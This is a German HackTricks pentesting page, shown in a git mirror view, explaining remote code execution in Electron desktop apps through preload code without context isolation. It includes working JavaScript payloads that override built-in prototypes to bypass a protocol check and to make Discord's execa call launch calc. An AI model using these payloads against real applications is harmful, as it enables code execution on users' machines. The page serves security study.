2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-26 21:13:44 +00:00
hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

104 lines
6.2 KiB
Markdown
Raw Normal View History

# Electron contextIsolation RCE via preload code
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Beispiel 1
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Beispiel von [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Dieser Code öffnet http(s)-Links mit dem Standardbrowser:
2022-04-20 12:35:33 +00:00
![](<../../../.gitbook/assets/image (768).png>)
2022-04-20 12:35:33 +00:00
Etwas wie `file:///C:/Windows/systemd32/calc.exe` könnte verwendet werden, um einen Taschenrechner auszuführen, das `SAFE_PROTOCOLS.indexOf` verhindert dies.
2022-04-20 12:35:33 +00:00
Daher könnte ein Angreifer diesen JS-Code über XSS oder beliebige Seitennavigation einschleusen:
2022-04-20 12:35:33 +00:00
```html
<script>
Array.prototype.indexOf = function(){
2024-02-10 15:36:32 +00:00
return 1337;
2022-04-20 12:35:33 +00:00
}
</script>
```
Da der Aufruf von `SAFE_PROTOCOLS.indexOf` immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiges Exploit:
2022-04-20 12:35:33 +00:00
```html
<script>
Array.prototype.indexOf = function(){
2024-02-10 15:36:32 +00:00
return 1337;
2022-04-20 12:35:33 +00:00
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Überprüfen Sie die Originalfolien nach anderen Möglichkeiten, Programme auszuführen, ohne dass eine Aufforderung zur Berechtigung angezeigt wird.
2022-04-20 12:35:33 +00:00
Anscheinend gibt es eine weitere Möglichkeit, Code zu laden und auszuführen, indem etwas wie `file://127.0.0.1/electron/rce.jar` aufgerufen wird.
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
## Beispiel 2: Discord App RCE
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
Beispiel von [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
2022-04-20 12:35:33 +00:00
Beim Überprüfen der Preload-Skripte fand ich heraus, dass Discord die Funktion freigibt, die es erlaubt, dass einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` aufgerufen werden können, auf der Webseite. Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das _child\_process_ Modul, aber ich **fand einen Code, mit dem RCE erreicht werden kann, indem die integrierten JavaScript-Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird**.
2022-04-20 12:35:33 +00:00
Im Folgenden ist der PoC. Ich konnte bestätigen, dass die **calc** Anwendung **angezeigt wird**, wenn ich die Funktion `getGPUDriverVersions` aufrufe, die im Modul "_discord\_utils_" definiert ist, aus den devTools, während **die `RegExp.prototype.test` und `Array.prototype.join` überschrieben werden**.
2022-04-20 12:35:33 +00:00
```javascript
RegExp.prototype.test=function(){
2024-02-10 15:36:32 +00:00
return false;
2022-04-20 12:35:33 +00:00
}
Array.prototype.join=function(){
2024-02-10 15:36:32 +00:00
return "calc";
2022-04-20 12:35:33 +00:00
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
Die `getGPUDriverVersions` Funktion versucht, das Programm mithilfe der "_execa_"-Bibliothek auszuführen, wie folgt:
2022-04-20 12:35:33 +00:00
```javascript
module.exports.getGPUDriverVersions = async () => {
2024-02-10 15:36:32 +00:00
if (process.platform !== 'win32') {
return {};
}
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
2022-04-20 12:35:33 +00:00
2024-02-10 15:36:32 +00:00
return result;
2022-04-20 12:35:33 +00:00
};
```
Normalerweise versucht _execa_ "_nvidia-smi.exe_" auszuführen, das in der Variablen `nvidiaSmiPath` angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` wird jedoch **das Argument durch "**_**calc**_**" in der internen Verarbeitung von \_execa**\_** ersetzt**.
2022-04-20 12:35:33 +00:00
Speziell wird das Argument durch Ändern der folgenden zwei Teile ersetzt.
2022-04-20 12:35:33 +00:00
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>